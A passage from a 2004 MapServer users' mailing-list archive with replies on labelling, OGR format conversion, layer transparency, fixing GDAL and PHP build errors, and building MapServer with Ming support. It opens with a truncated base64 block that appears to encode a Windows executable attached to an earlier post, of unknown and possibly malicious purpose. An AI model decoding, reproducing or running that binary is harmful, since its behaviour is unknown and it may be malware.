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 FfoHiwAAAAAAAAAAAAAAAAAAAAAAAAAAbirACb2gQ4kUKlauXr+BBQ0dPX39/Pv48ubOn0CD CRQrWLJmz6AK52BPJMA/06FJYnxZGI/cvoqAiby+QNdhfVh44hSgxzHoeQoywTvMoWtiaR0P iJLbl5zGo/4j62B6TiuSEabUK6l1SSLHKNqhdnRuSRiQ3J+dkJOp+CXxKBRuKsAJvYA04X1G M44y0OBhZHNaXZzcv7S+x87aMvFmZgsv2g+jxWPle0k32jfR5iVsPXkxsdydjZyFuvYv7SgU bz3RCaLQMexnWT/BMJ/kd39yT1z9v6m70oO87S/xKDRtMd4D78Ms52BPONp+1+B2LX9YGJPc lpeWj6j2JecnNGI+kh+g1WP7YUR2z37M+HZ5eFBw95iemoeBqfoyryl3Rz3TFO/BL+U0SCTL P9TxamRzSQ7dnp6enZSrvzL2Z3pCNtVGu8gq+jRaJME5zeBoLB10E4mZnIqbkre/I+tsd0B4 1AemzCbtNQoCxjfMoUNkcVhdlZ2I2JCDq/Fg7mZwQj7bA6uOToNGTzfdMdGhaGR6VQndnp7Y k8a+8DPwYHZHPZIQptI2+jRDOMg73PVsYnMcfQMrmt/pipCHCIR+enK7UEUAAAkJBgYKAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0002_000060D2.00002A0B-- From TMitchell at lignum.com Tue May 11 08:14:09 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 11 May 2004 08:14:09 -0700 Subject: [Mapserver-users] layer auto-labeling In-Reply-To: <20040511133241.76091.qmail@web41601.mail.yahoo.com> Message-ID: > Maybee I'm missing something but, if I have a layer having 10 > classes that I want to label... do I have to define the label in all > 10 classes to get all labels to appear? Or is there a way to define > the label once within a layer? I don't think you are missing anything, but you might find that an easier approach would be to define another layer that only has the labels in it. You could give it the same layer name for that matter. Tyler From TMitchell at lignum.com Tue May 11 08:25:40 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 11 May 2004 08:25:40 -0700 Subject: [Mapserver-users] Intro & Questions In-Reply-To: <20040511125615.0dac2a2b.benminton@austarnet.com.au> Message-ID: > I'm Ben, Darwin, NT, AU. Just subscribed to the list. Welcome aboard. > Read the online docs but have some questions about MapServer and > what it can do. > > Can MapServer handle other formats ie MapInfo or ArcInfo Export? To add to Frank's note, ArcInfo export e00 files can be converted into coverages using avcimport from http://avce00.maptools.org/avce00/avce00.html#avcimport. Mapserver can then be built to use a set of awesome supporting libraries, in particular, OGR. This is a kick-but vector library that reads numerous formats including MapInfo and ArcInfo coverages (among others). This allows Mapserver to also use these formats, if required. > If so, is there a good converter app for this? Although you don't need to convert your shapefiles, you may want to know that OGR has a conversion program you can use called ogr2ogr. It allows you to convert data between almost all of the vector formats that ogr supports. > Should I install Apache first then MapServer? As you progress, the next big question will be what operating system you are using. If you are on windows, there are quite a few "binary" versions of applications ready to rock. There are some for linux too, but you may find you need to do more digging and compiling to get what you need. I highly recommend getting Frank's openev_fw tools package. Let us know if you need pointers to the resources mentioned. Tyler From spencer at dmsolutions.ca Tue May 11 08:34:09 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Tue, 11 May 2004 11:34:09 -0400 Subject: [Mapserver-users] alpha blending In-Reply-To: <9227.212.238.227.182.1084281134.squirrel@webmail.xs4all.nl> References: <9227.212.238.227.182.1084281134.squirrel@webmail.xs4all.nl> Message-ID: <40A0F271.8010304@magma.ca> There is a 'transparency' attribute on layer objects that controls transparency for the whole layer. What isn't possible is to create classes/styles that have transparency on individual features. That would have to be done by creating multiple layers with different transparencies. Paul bartvde at xs4all.nl wrote: > Hi list, > > what are the current alpha blending capabilities of Mapserver? > > I saw an e-mail from Frank Warmerdam from 2002 in which he states: > "I would like to see Map file color keywords be able to specify an RGBA > color, instead of just RGB but even then alpha blending can only practically > be done on 24bit output, not colormap output files." > > But AFAIK nothing has been pursued in this direction. The current state of > GD would make this possible. > > So my impression is that alpha blending is only possible for raster layers > at the moment and not for vector layers. Is this impression correct? Are > there any plans to support the RGBA colors in the MAP file? > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From dmorissette at dmsolutions.ca Tue May 11 08:35:19 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 11 May 2004 11:35:19 -0400 Subject: [Mapserver-users] Problem Compiling Mapserver/Mapscript In-Reply-To: <000001c43632$e084f0d0$3600a8c0@HRIC.local> References: <000001c43632$e084f0d0$3600a8c0@HRIC.local> Message-ID: <40A0F2B7.1060508@dmsolutions.ca> HRIC wrote: > > My attempts to correct this by adding > > --with-gdal (both with and without =dir) have configured fine, but won?t > ?make? I get the following: > > You need to do two things: 1- 'make install' in the GDAL directory to install it in your system 2- Use --with-gdal=/usr/local/bin/gdal-config (or replace with the path where your gdal-config is installed) However, looking at the build output below it seems that the configure didn't find gdal-config, but it did enable GDAL (-DUSE_GDAL) for some odd reason: > > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H > > -DUSE_WMS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_GIF -DUSE_GD_PNG > -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR > -DUSE_GDAL -I/usr/local//include -I/include > mapraster.c -o mapraster.o > > In file included from mapraster.c:5: > > mapresample.h:53:20: gdal.h: No such file or directory > > mapresample.h:54:26: cpl_string.h: No such file or directory > The configure script should have stopped with an error since GDAL headers aren't installed on your system, so there is a problem that needs to be fixed here. Can you please try again using v4.2beta2 and if the problem persists then create a bug in the mapserver bugzilla with your complete configure command and a note about where GDAL is located on your system so that we have a way to reproduce. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue May 11 08:43:12 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 11 May 2004 11:43:12 -0400 Subject: [Mapserver-users] Installation problem In-Reply-To: <20040510074744.90934.qmail@web12310.mail.yahoo.com> References: <20040510074744.90934.qmail@web12310.mail.yahoo.com> Message-ID: <40A0F490.1000300@dmsolutions.ca> Andrea Rossi wrote: > Hello. > I am trying to install Mapserver-4.0.2 in a PC with > this settings: > Redhat 9 > Postgresql 7.3.4 > Postgis > php 4.3.5 > > When i do configure everytng is OK but when I do the > make command I have this errors with php. > > What could be the problem? > > Thank you. > > cd mapscript/php3; make; cd ../.. > make[1]: Entering directory > `/usr/local/src/mapserver-4.0.2/mapscript/php3' > gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 > -DUSE_WMS_SVR -DUSE_POSTGIS -DUSE_GDAL -DUSE_OGR > -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_PDF > -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT > -DUSE_JPEG -I/usr/local/src/mapserver-4.0.2 > -I/usr/include -I/usr/local/include > -I/usr/local/include -I/usr/local/include > -I/usr/local/include/php/main > -I/usr/local/include/php/main/dl > -I/usr/local/include/php/main/main > -I/usr/local/include/php/main/Zend > -I/usr/local/include/php/main/include > -I/usr/local/include/php/main/TSRM -c -o > php_mapscript_util.o php_mapscript_util.c > In file included from php_mapscript_util.h:58, > from php_mapscript_util.c:101: > /usr/local/include/php/main/php.h:34:18: zend.h: No > such file or directory Did you use --with-php=/usr/local/include/php/main/ in the configure command? Try using --with-php=/usr/local, that should work with v4.0.2 and 4.2 If you could please file a bug in the MapServer bugzilla with the exact configure command that you used, and information about the location of your installed PHP then we could fix the configure script to make it more robust and prevent that case from happening. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From bpicinbono at worldonline.fr Tue May 11 09:15:10 2004 From: bpicinbono at worldonline.fr (blaise) Date: Tue, 11 May 2004 18:15:10 +0200 Subject: [Mapserver-users] Re: help installing mapserver with ming In-Reply-To: References: <139801c43751$0c331710$0501a8c0@comai04> Message-ID: <40A0FC0E.4060405@worldonline.fr> Dear list, Installing MapServer with Ming support partially solved. (what a headache !) After many days and even weeks working on that, I managed to compile MapServer with the Ming support. Here are my tricks, I put them on the list, hopping it can help some of you. But I am not fully satisfied with that. I had to modify several files that, I think, were not supposed to be modified. I don't think my method is very academic, so don't take it as the Truth, but as possible ways to help you with the Ming install. Moreover, although the MapServer compilation runs to its end, it outputs several warnings that make me think that everything is not ok. Anyway, I a now able to run the FlashMapServer demo and I am going to customize it to my needs. But, in this demo, I still have two main problems : -- big aliasing artefacts on the map (during the compilation, it complains a lot with the php_mapscript_util.c and php_mapscript.c files telling : warning: dereferencing type-punned pointer will break strict-aliasing rules) -- I haven't yet been able to output raster on the Flash demo. If somebody know how to solve these problems, that will be greatly welcomed ! ! ! So here are my tricks : I am working on a linux box driven by Fedora Core 1a, Apache 2. I have installed the Mapserver-4.0.2, Php-4.3.6, Ming-0.3a, GD-2.0.22 and other libs from source. The file tree of the installation stuff I used is : /root/ms_install/mapserver-4.0.2 : mapserver /root/ms_install/lib/php-4.3.6 : php /root/ms_install/lib/ming : ming /root/ms_install/lib/gd-2.0.22 : gd /root/ms_install/lib/xxx : all other needed libraries. I am NOT using GIF, don't have any gif support. ############################################## Files that I changed before installing Ming : ############################################## # cd /root/ms_install/lib # tar -xzvf ming-0.3a.tar.gz # cd ming --------------- ming/config.h --------------- edit /root/ms_install/lib/ming/config.h replace line 2 : #define USE_GIF 1 by : #define USE_GIF 0 save the updated file --------------- ming/config.make --------------- edit /root/ms_install/lib/ming/config.make replace line 2 : EXTRA_OBJS = gifdbl.o pngdbl.o by : EXTRA_OBJS = pngdbl.o and replace line 5 : EXTRA_LIBS = -lz -lungif -lpng12 by : EXTRA_LIBS = -lz -lpng12 save the updated file --------------- ming/src/ming.h --------------- edit /root/ms_install/lib/ming/src/ming.h in a text editor remove these lines : lines 156-159 : #ifdef USE_GIF SWFDBLBitmapData newSWFDBLBitmap_fromGifFile(char *name); SWFDBLBitmapData newSWFDBLBitmap_fromGifInput(SWFInput input); #endif ...save the updated file --------------- ming/src/blocks/bitmap.c --------------- edit /root/ms_install/lib/ming/src/blocks/bitmap.c in a text editor remove these lines : lines 64-69 : if(c1 == ?G? && c2 == ?I?) #if 1 return (SWFBitmap) newSWFDBLBitmap_fromGifInput(input); #else SWF_error("GIF images must be translated into DBL files for now"); #endif ...save the updated file # cd /root/ms_install/lib/ming # make # make static # make install # cd php_ext # make # ldconfig ... make a 987.2 ko php_ming.so file in ming/php_ext... good (this file has to go in the extensions directory of Php). ################################################## Files that I changed before installing MapServer : ################################################## # cd /root/ms_install # tar -xzvf mapserver-4.0.2.tar.gz # cd mapserver --------------- mapserver-4.0.2/mapswf.c --------------- (very sensitive file ! ! ! ) line 827, replace : char *driver = strdup("GD/GIF"); by char *driver = strdup("GD/PNG"); delete lines 875 -877 : #ifdef USE_GD_GIF driver = strdup("GD/GIF"); #else delete one "#endif" line (line 890) : NO DON?T DELETE THAT ONE, OR MAKE WILL FAIL ! ! ! ( WHY ? THIS IS VERY STRANGE ! ) line 2422 replace : const char *driver = "GD/GIF"; by ; const char *driver = "GD/PNG"; delete line 2443 : #endif replace line 2805 : char *driver = strdup("GD/GIF"); by : char *driver = strdup("GD/PNG"); delete lines 2808 to 2810 : 